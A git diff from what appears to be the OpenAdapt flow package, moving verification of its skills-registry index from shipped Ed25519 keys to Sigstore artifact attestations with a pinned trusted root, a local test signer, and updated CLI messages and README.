"subject": [ + {"name": name, "digest": {"sha256": digest}} + for name, digest in sorted(subjects.items()) + ], + "predicateType": "https://openadapt.ai/registry-test/v1", + "predicate": {}, + } + payload = json.dumps(statement, sort_keys=True).encode("utf-8") + signature = Ed25519PrivateKey.from_private_bytes(seed).sign( + _pae(IN_TOTO_PAYLOAD_TYPE, payload) + ) + return { + "mediaType": TEST_MEDIA_TYPE, + "dsseEnvelope": { + "payloadType": IN_TOTO_PAYLOAD_TYPE, + "payload": base64.b64encode(payload).decode("ascii"), + "signatures": [ + { + "keyid": TEST_KEY_ID, + "sig": base64.b64encode(signature).decode("ascii"), + } + ], + }, + } + + +def verify_test( + envelope: Mapping[str, Any], seed: bytes = TEST_KEY_SEED +) -> dict[str, str]: + from cryptography.exceptions import InvalidSignature + from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey + + dsse = envelope.get("dsseEnvelope") or {} + try: + payload = base64.b64decode(str(dsse.get("payload", "")), validate=True) + (signature,) = dsse.get("signatures") or [None] + sig = base64.b64decode(str((signature or {}).get("sig", "")), validate=True) + Ed25519PrivateKey.from_private_bytes(seed).public_key().verify( + sig, _pae(str(dsse.get("payloadType")), payload) + ) + except (ValueError, InvalidSignature) as exc: + raise AttestationError( + "the test attestation's signature does not hold" + ) from exc + if dsse.get("payloadType") != IN_TOTO_PAYLOAD_TYPE: + raise AttestationError("the test attestation is not an in-toto statement") + return statement_subjects(payload) + + +def verify( + attestation: Mapping[str, Any], + *, + allow_test_key: bool = False, + identity: Identity = REGISTRY_IDENTITY, + trusted_root: Optional[Path] = None, +) -> tuple[str, dict[str, str]]: + """(who attested, ``{name: sha256}``) for a published attestation.""" + + if attestation.get("mediaType") == TEST_MEDIA_TYPE: + if not allow_test_key: + raise AttestationError( + "the index is attested by the local test signer, not the release " + "workflow" + ) + return f"test:{TEST_KEY_ID}", verify_test(attestation) + return verify_sigstore(attestation, identity=identity, trusted_root=trusted_root) diff --git a/packages/flow/openadapt_flow/registry_keys.json b/packages/flow/openadapt_flow/registry_keys.json deleted file mode 100644 index 24015611d..000000000 --- a/packages/flow/openadapt_flow/registry_keys.json +++ /dev/null @@ -1,5 +0,0 @@ -{ - "schema": "openadapt.registry-keys/v1", - "note": "Public keys that sign the skills-registry index and its entries. The production key's seed lives only in the protected REGISTRY_SIGNING_SEED secret of the registry release workflow; only its public half is committed here. A key flagged test is ignored.", - "keys": {} -} diff --git a/packages/flow/openadapt_flow/registry_trusted_root.json b/packages/flow/openadapt_flow/registry_trusted_root.json new file mode 100644 index 000000000..effb0a19e --- /dev/null +++ b/packages/flow/openadapt_flow/registry_trusted_root.json @@ -0,0 +1,126 @@ +{ + "mediaType": "application/vnd.dev.sigstore.trustedroot+json;version=0.1", + "tlogs": [ + { + "baseUrl": "https://rekor.sigstore.dev", + "hashAlgorithm": "SHA2_256", + "publicKey": { + "rawBytes": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE2G2Y+2tabdTV5BcGiBIx0a9fAFwrkBbmLSGtks4L3qX6yYY0zufBnhC8Ur/iy55GhWP/9A/bY2LhC30M9+RYtw==", + "keyDetails": "PKIX_ECDSA_P256_SHA_256", + "validFor": { + "start": "2021-01-12T11:53:27Z" + } + }, + "logId": { + "keyId": "wNI9atQGlz+VWfO6LRygH4QUfY/8W4RFwiT5i5WRgB0=" + } + }, + { + "baseUrl": "https://log2025-1.rekor.sigstore.dev", + "hashAlgorithm": "SHA2_256", + "publicKey": { + "rawBytes": "MCowBQYDK2VwAyEAt8rlp1knGwjfbcXAYPYAkn0XiLz1x8O4t0YkEhie244=", + "keyDetails": "PKIX_ED25519", + "validFor": { + "start": "2025-09-23T00:00:00Z" + } + }, + "logId": { + "keyId": "zxGZFVvd0FEmjR8WrFwMdcAJ9vtaY/QXf44Y1wUeP6A=" + } + } + ], + "certificateAuthorities": [ + { + "subject": { + "organization": "sigstore.dev", + "commonName": "sigstore" + }, + "uri": "https://fulcio.sigstore.dev", + "certChain": { + "certificates": [ + { + "rawBytes": "MIIB+DCCAX6gAwIBAgITNVkDZoCiofPDsy7dfm6geLbuhzAKBggqhkjOPQQDAzAqMRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIxMDMwNzAzMjAyOVoXDTMxMDIyMzAzMjAyOVowKjEVMBMGA1UEChMMc2lnc3RvcmUuZGV2MREwDwYDVQQDEwhzaWdzdG9yZTB2MBAGByqGSM49AgEGBSuBBAAiA2IABLSyA7Ii5k+pNO8ZEWY0ylemWDowOkNa3kL+GZE5Z5GWehL9/A9bRNA3RbrsZ5i0JcastaRL7Sp5fp/jD5dxqc/UdTVnlvS16an+2Yfswe/QuLolRUCrcOE2+2iA5+tzd6NmMGQwDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFMjFHQBBmiQpMlEk6w2uSu1KBtPsMB8GA1UdIwQYMBaAFMjFHQBBmiQpMlEk6w2uSu1KBtPsMAoGCCqGSM49BAMDA2gAMGUCMH8liWJfMui6vXXBhjDgY4MwslmN/TJxVe/83WrFomwmNf056y1X48F9c4m3a3ozXAIxAKjRay5/aj/jsKKGIkmQatjI8uupHr/+CxFvaJWmpYqNkLDGRU+9orzh5hI2RrcuaQ==" + } + ] + }, + "validFor": { + "start": "2021-03-07T03:20:29Z", + "end": "2022-12-31T23:59:59.999Z" + } + }, + { + "subject": { + "organization": "sigstore.dev", + "commonName": "sigstore" + }, + "uri": "https://fulcio.sigstore.dev", + "certChain": { + "certificates": [ + { + "rawBytes": "MIICGjCCAaGgAwIBAgIUALnViVfnU0brJasmRkHrn/UnfaQwCgYIKoZIzj0EAwMwKjEVMBMGA1UEChMMc2lnc3RvcmUuZGV2MREwDwYDVQQDEwhzaWdzdG9yZTAeFw0yMjA0MTMyMDA2MTVaFw0zMTEwMDUxMzU2NThaMDcxFTATBgNVBAoTDHNpZ3N0b3JlLmRldjEeMBwGA1UEAxMVc2lnc3RvcmUtaW50ZXJtZWRpYXRlMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE8RVS/ysH+NOvuDZyPIZtilgUF9NlarYpAd9HP1vBBH1U5CV77LSS7s0ZiH4nE7Hv7ptS6LvvR/STk798LVgMzLlJ4HeIfF3tHSaexLcYpSASr1kS0N/RgBJz/9jWCiXno3sweTAOBgNVHQ8BAf8EBAMCAQYwEwYDVR0lBAwwCgYIKwYBBQUHAwMwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQU39Ppz1YkEZb5qNjpKFWixi4YZD8wHwYDVR0jBBgwFoAUWMAeX5FFpWapesyQoZMi0CrFxfowCgYIKoZIzj0EAwMDZwAwZAIwPCsQK4DYiZYDPIaDi5HFKnfxXx6ASSVmERfsynYBiX2X6SJRnZU84/9DZdnFvvxmAjBOt6QpBlc4J/0DxvkTCqpclvziL6BCCPnjdlIB3Pu3BxsPmygUY7Ii2zbdCdliiow=" + }, + { + "rawBytes": "MIIB9zCCAXygAwIBAgIUALZNAPFdxHPwjeDloDwyYChAO/4wCgYIKoZIzj0EAwMwKjEVMBMGA1UEChMMc2lnc3RvcmUuZGV2MREwDwYDVQQDEwhzaWdzdG9yZTAeFw0yMTEwMDcxMzU2NTlaFw0zMTEwMDUxMzU2NThaMCoxFTATBgNVBAoTDHNpZ3N0b3JlLmRldjERMA8GA1UEAxMIc2lnc3RvcmUwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAT7XeFT4rb3PQGwS4IajtLk3/OlnpgangaBclYpsYBr5i+4ynB07ceb3LP0OIOZdxexX69c5iVuyJRQ+Hz05yi+UF3uBWAlHpiS5sh0+H2GHE7SXrk1EC5m1Tr19L9gg92jYzBhMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRYwB5fkUWlZql6zJChkyLQKsXF+jAfBgNVHSMEGDAWgBRYwB5fkUWlZql6zJChkyLQKsXF+jAKBggqhkjOPQQDAwNpADBmAjEAj1nHeXZp+13NWBNa+EDsDP8G1WWg1tCMWP/WHPqpaVo0jhsweNFZgSs0eE7wYI4qAjEA2WB9ot98sIkoF3vZYdd3/VtWB5b9TNMea7Ix/stJ5TfcLLeABLE4BNJOsQ4vnBHJ" + } + ] + }, + "validFor": { + "start": "2022-04-13T20:06:15Z" + } + } + ], + "ctlogs": [ + { + "baseUrl": "https://ctfe.sigstore.dev/test", + "hashAlgorithm": "SHA2_256", + "publicKey": { + "rawBytes": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEbfwR+RJudXscgRBRpKX1XFDy3PyudDxz/SfnRi1fT8ekpfBd2O1uoz7jr3Z8nKzxA69EUQ+eFCFI3zeubPWU7w==", + "keyDetails": "PKIX_ECDSA_P256_SHA_256", + "validFor": { + "start": "2021-03-14T00:00:00Z", + "end": "2022-10-31T23:59:59.999Z" + } + }, + "logId": { + "keyId": "CGCS8ChS/2hF0dFrJ4ScRWcYrBY9wzjSbea8IgY2b3I=" + } + }, + { + "baseUrl": "https://ctfe.sigstore.dev/2022", + "hashAlgorithm": "SHA2_256", + "publicKey": { + "rawBytes": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiPSlFi0CmFTfEjCUqF9HuCEcYXNKAaYalIJmBZ8yyezPjTqhxrKBpMnaocVtLJBI1eM3uXnQzQGAJdJ4gs9Fyw==", + "keyDetails": "PKIX_ECDSA_P256_SHA_256", + "validFor": { + "start": "2022-10-20T00:00:00Z" + } + }, + "logId": { + "keyId": "3T0wasbHETJjGR4cmWc3AqJKXrjePK3/h4pygC8p7o4=" + } + } + ], + "timestampAuthorities": [ + { + "subject": { + "organization": "sigstore.dev", + "commonName": "sigstore-tsa-selfsigned" + }, + "uri": "https://timestamp.sigstore.dev/api/v1/timestamp", + "certChain": { + "certificates": [ + { + "rawBytes": "MIICEDCCAZagAwIBAgIUOhNULwyQYe68wUMvy4qOiyojiwwwCgYIKoZIzj0EAwMwOTEVMBMGA1UEChMMc2lnc3RvcmUuZGV2MSAwHgYDVQQDExdzaWdzdG9yZS10c2Etc2VsZnNpZ25lZDAeFw0yNTA0MDgwNjU5NDNaFw0zNTA0MDYwNjU5NDNaMC4xFTATBgNVBAoTDHNpZ3N0b3JlLmRldjEVMBMGA1UEAxMMc2lnc3RvcmUtdHNhMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE4ra2Z8hKNig2T9kFjCAToGG30jky+WQv3BzL+mKvh1SKNR/UwuwsfNCg4sryoYAd8E6isovVA3M4aoNdm9QDi50Z8nTEyvqgfDPtTIwXItfiW/AFf1V7uwkbkAoj0xxco2owaDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0OBBYEFIn9eUOHz9BlRsMCRscsc1t9tOsDMB8GA1UdIwQYMBaAFJjsAe9/u1H/1JUeb4qImFMHic6/MBYGA1UdJQEB/wQMMAoGCCsGAQUFBwMIMAoGCCqGSM49BAMDA2gAMGUCMDtpsV/6KaO0qyF/UMsX2aSUXKQFdoGTptQGc0ftq1csulHPGG6dsmyMNd3JB+G3EQIxAOajvBcjpJmKb4Nv+2Taoj8Uc5+b6ih6FXCCKraSqupe07zqswMcXJTe1cExvHvvlw==" + }, + { + "rawBytes": "MIIB9zCCAXygAwIBAgIUV7f0GLDOoEzIh8LXSW80OJiUp14wCgYIKoZIzj0EAwMwOTEVMBMGA1UEChMMc2lnc3RvcmUuZGV2MSAwHgYDVQQDExdzaWdzdG9yZS10c2Etc2VsZnNpZ25lZDAeFw0yNTA0MDgwNjU5NDNaFw0zNTA0MDYwNjU5NDNaMDkxFTATBgNVBAoTDHNpZ3N0b3JlLmRldjEgMB4GA1UEAxMXc2lnc3RvcmUtdHNhLXNlbGZzaWduZWQwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQUQNtfRT/ou3YATa6wB/kKTe70cfJwyRIBovMnt8RcJph/COE82uyS6FmppLLL1VBPGcPfpQPYJNXzWwi8icwhKQ6W/Qe2h3oebBb2FHpwNJDqo+TMaC/tdfkv/ElJB72jRTBDMA4GA1UdDwEB/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH/AgEAMB0GA1UdDgQWBBSY7AHvf7tR/9SVHm+KiJhTB4nOvzAKBggqhkjOPQQDAwNpADBmAjEAwGEGrfGZR1cen1R8/DTVMI943LssZmJRtDp/i7SfGHmGRP6gRbuj9vOK3b67Z0QQAjEAuT2H673LQEaHTcyQSZrkp4mX7WwkmF+sVbkYY5mXN+RMH13KUEHHOqASaemYWK/E" + } + ] + }, + "validFor": { + "start": "2025-07-04T00:00:00Z" + } + } + ] +} diff --git a/packages/flow/openadapt_flow/seal_anchor.py b/packages/flow/openadapt_flow/seal_anchor.py index 04b9384ea..bd17f1b5e 100644 --- a/packages/flow/openadapt_flow/seal_anchor.py +++ b/packages/flow/openadapt_flow/seal_anchor.py @@ -114,8 +114,6 @@ def statement(seal_sha256: str, nonce: str) -> bytes: _RECORD_FIELDS = ( ("seal_sha256",), ("run_authorization_sha256", "signature_sha256"), - # The skills registry's signed index (openadapt_flow.registry.anchor_index). - ("registry_index_sha256",), ) diff --git a/packages/flow/openadapt_flow/skills.py b/packages/flow/openadapt_flow/skills.py index 204effe2e..078ad457c 100644 --- a/packages/flow/openadapt_flow/skills.py +++ b/packages/flow/openadapt_flow/skills.py @@ -97,7 +97,9 @@ def read_binding(bundle_dir: Path | str) -> dict[str, str]: return {str(k): str(v) for k, v in (data.get("values") or {}).items()} -def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: +def mark_pulled( + bundle_dir: Path, entry: Any, *, index_url: str, attested_by: Optional[str] = None +) -> None: """Write the lock and expire any certification the pulled bundle carries.""" from openadapt_flow.bundle_sealing import _invalidate_prior_certification @@ -108,7 +110,6 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: published = workflow.manifest.content_digest if workflow.manifest else "" expired = _invalidate_prior_certification(workflow, reason=EXPIRED_REASON) raw = entry.raw - signature = raw.get("signature") # The provenance is part of the workflow content, so the digest covers # it: removing it makes a different, unverified local bundle. workflow.registry = RegistryOrigin( @@ -116,7 +117,7 @@ def mark_pulled(bundle_dir: Path, entry: Any, *, index_url: str) -> None: version=entry.version, index_url=index_url, entry_sha256=entry_sha256(raw), - signed_by=signature.get("key_id") if isinstance(signature, dict) else None, + signed_by=attested_by, published_digest=published, pulled_at=_now(), ) @@ -604,10 +605,11 @@ def qualify_skill( lock = read_lock(bundle_dir) if lock is None: raise SkillError(f"{bundle_dir} is not a pulled skill (no {LOCK})") - if not lock.get("signed_by"): + signer = str(lock.get("signed_by") or "") + if not signer or signer.startswith("test:"): log( - f"{lock.get('id')} is UNSIGNED: it came from a local index with " - "--allow-unsigned, and nothing vouches for it but that file." + f"{lock.get('id')} is not attested by the registry release workflow: " + "it came from a local index, and nothing vouches for it but that file." ) ships = bool(lock.get("contract")) if contract is None and not ships: @@ -741,11 +743,12 @@ def cmd_skill(args: Any) -> int: f"{lock['id']}@{lock.get('version')}: " + (refusal or "qualified; runs") ) signer = lock.get("signed_by") - print( - f"Signed by {signer}" - if signer - else "UNSIGNED: pulled from a local index with --allow-unsigned" - ) + if not signer: + print("UNSIGNED: pulled from a local index with --allow-unsigned") + elif signer.startswith("test:"): + print("TEST SIGNER: pulled from a local index with --allow-test-key") + else: + print(f"Attested by {signer}") missing = missing_bindings(args.bundle) if missing: print("Unbound: " + ", ".join(missing)) diff --git a/packages/flow/pyproject.toml b/packages/flow/pyproject.toml index bf7227e03..541d37438 100644 --- a/packages/flow/pyproject.toml +++ b/packages/flow/pyproject.toml @@ -127,6 +127,8 @@ dev = [ # Browser tests remain part of the full development matrix even though the # published base runtime no longer installs Playwright for non-web users. "playwright>=1.44", + # The registry's Sigstore attestation tests; see the `registry` extra. + "sigstore>=4.5,<5", ] grounder = ["anthropic>=0.40"] # PRIMARY grounding rung: OCR text-anchoring via openadapt-grounding @@ -197,6 +199,10 @@ linux = [ # (legacy EMR over RDP). Lazily imported by AardwolfTransport — never # needed for the mock-tested adapter, only for the real/live transport. rdp = ["aardwolf==0.2.14"] +# `pull` from the skills registry: verifies the release workflow's Sigstore +# attestation of the index (openadapt_flow.registry_attest), offline against +# the pinned trusted root. Only `pull` of a remote index needs it. +registry = ["sigstore>=4.5,<5"] # PHI/PII scrubbing on persist/log paths (Presidio-backed). Optional: the # runtime imports openadapt_flow.privacy unconditionally, but it degrades to a # no-op when this extra is absent (OPENADAPT_FLOW_SCRUB=auto). A regulated diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index 68217e2ed..cd4d71e7b 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -13,18 +13,28 @@ openadapt-flow run new-referral --params-file params.json file's sha256 against the index, and loads the bundle so its manifest digest is checked as well. It doesn't run anything. -Before it downloads anything, `pull` checks the index against keys that ship -with the package (`openadapt_flow/registry_keys.json`), never keys it fetches: - -- The index is signed as a whole (Ed25519ph, the form Rekor accepts), and so - is each entry. -- The index carries `issued_at`, `expires_at` and a `serial`. `pull` refuses - an expired index, and one whose serial is lower than the highest it has - seen from that address (kept in `$OPENADAPT_HOME/registry-state.json`). -- A remote index must have a Rekor anchor (`index.anchor.json`) naming its - exact digest, signed by a registry key. -- A remote index is fetched over https only. `--allow-unsigned` takes an - unsigned index from the local disk only, for one you are authoring. +Before it downloads anything, `pull` checks who published the index: + +- The registry release workflow attests `index.json` and every bundle + archive with GitHub's keyless artifact attestations: a Sigstore signature, + recorded in Rekor, over the sha256 of each file. The attestation is + published beside the index as `index.sigstore.json`. +- `pull` verifies it against a pinned identity: issued by GitHub Actions to + `release-registry.yml` on a `registry-*` tag of OpenAdaptAI/OpenAdapt. The + attestation must name the exact index it read, and an archive must be one it + names too. This needs the `registry` extra + (`pip install 'openadapt-flow[registry]'`). +- Verification is offline, against the Sigstore trusted root shipped with the + package. `openadapt-flow pull --refresh-trust` fetches the current one + through Sigstore's TUF repository into `$OPENADAPT_HOME`. +- The attested index carries `issued_at`, `expires_at` and a `serial`. `pull` + refuses an expired index, and one whose serial is lower than the highest it + has seen from that address (kept in `$OPENADAPT_HOME/registry-state.json`). +- A remote index is fetched over https only. For an index you are authoring + on the local disk, `--allow-unsigned` takes one with no attestation, and + `--allow-test-key` one attested by the local test signer + (`openadapt_flow.registry_attest.sign_test`). Both are refused for a remote + index. A bundle holds only allowlisted files: the program, its screen templates (crops of a copy holding made-up data, which each entry attests) and a minimal @@ -87,17 +97,19 @@ it is given. See `.github/workflows/release-registry.yml` publishes the registry: 1. It builds each bundle as a reproducible archive. -2. It signs every entry and the index, with a 30-day expiry, in the protected - `registry-signing` environment. That job installs only hash-pinned wheels - ([`signing-requirements.txt`](signing-requirements.txt)). -3. It anchors the signed index in Rekor (`index.anchor.json`). -4. It releases the archives under a `registry-*` tag. -5. It opens a pull request with the signed index and its anchor. - -The index expires 30 days after it is signed, so the workflow runs at least -that often. - -After the first signed release, only that workflow writes `index.json`; +2. It tags the commit `registry-`. The tag push stamps the index + with a 30-day expiry and attests the index and every archive, in the + protected `release-identity` environment. Then it checks its own + attestation with the pull verifier, using only hash-pinned wheels + ([`verify-requirements.txt`](verify-requirements.txt)). +3. It releases the archives, the index and `index.sigstore.json` under that + tag. +4. It opens a pull request with the attested index and its attestation. + +There is no signing key to keep. The index expires 30 days after it is +stamped, so the workflow runs at least that often. + +After the first attested release, only that workflow writes `index.json`; `build_registry_index.py --check` confirms it still matches `sources.json`. ## Adding a bundle diff --git a/packages/flow/registry/signing-requirements.txt b/packages/flow/registry/signing-requirements.txt deleted file mode 100644 index 7b4f55d0e..000000000 --- a/packages/flow/registry/signing-requirements.txt +++ /dev/null @@ -1,269 +0,0 @@ -annotated-types==0.7.0 \ - --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \ - --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89 -cffi==2.0.0 \ - --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ - --hash=sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b \ - --hash=sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f \ - --hash=sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9 \ - --hash=sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44 \ - --hash=sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2 \ - --hash=sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c \ - --hash=sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75 \ - --hash=sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65 \ - --hash=sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e \ - --hash=sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a \ - --hash=sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e \ - --hash=sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25 \ - --hash=sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a \ - --hash=sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe \ - --hash=sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b \ - --hash=sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91 \ - --hash=sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592 \ - --hash=sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187 \ - --hash=sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c \ - --hash=sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1 \ - --hash=sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94 \ - --hash=sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba \ - --hash=sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb \ - --hash=sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165 \ - --hash=sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529 \ - --hash=sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca \ - --hash=sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c \ - --hash=sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6 \ - --hash=sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c \ - --hash=sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0 \ - --hash=sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743 \ - --hash=sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63 \ - --hash=sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5 \ - --hash=sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5 \ - --hash=sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4 \ - --hash=sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d \ - --hash=sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b \ - --hash=sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93 \ - --hash=sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205 \ - --hash=sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27 \ - --hash=sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512 \ - --hash=sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d \ - --hash=sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c \ - --hash=sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037 \ - --hash=sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26 \ - --hash=sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322 \ - --hash=sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb \ - --hash=sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c \ - --hash=sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8 \ - --hash=sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4 \ - --hash=sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414 \ - --hash=sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9 \ - --hash=sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664 \ - --hash=sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9 \ - --hash=sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775 \ - --hash=sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739 \ - --hash=sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc \ - --hash=sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062 \ - --hash=sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe \ - --hash=sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9 \ - --hash=sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92 \ - --hash=sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5 \ - --hash=sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13 \ - --hash=sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d \ - --hash=sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26 \ - --hash=sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f \ - --hash=sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495 \ - --hash=sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b \ - --hash=sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6 \ - --hash=sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c \ - --hash=sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef \ - --hash=sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5 \ - --hash=sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18 \ - --hash=sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad \ - --hash=sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3 \ - --hash=sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7 \ - --hash=sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5 \ - --hash=sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534 \ - --hash=sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49 \ - --hash=sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2 \ - --hash=sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5 \ - --hash=sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453 \ - --hash=sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf -cryptography==50.0.0 \ - --hash=sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813f3f07e3d03 \ - --hash=sha256:06a32a980526a6ab9a4b9bf8f7385800791e2bb960903cb6b530e4817509a3b7 \ - --hash=sha256:07479a1cb08219ab719147e742e76090c9c773321959bb94946fffdd397a6437 \ - --hash=sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f46589e912988e551987 \ - --hash=sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16f28323ac6e025 \ - --hash=sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58bf7894aaaa3b2a037 \ - --hash=sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f90691269 \ - --hash=sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f385f1e2772db105 \ - 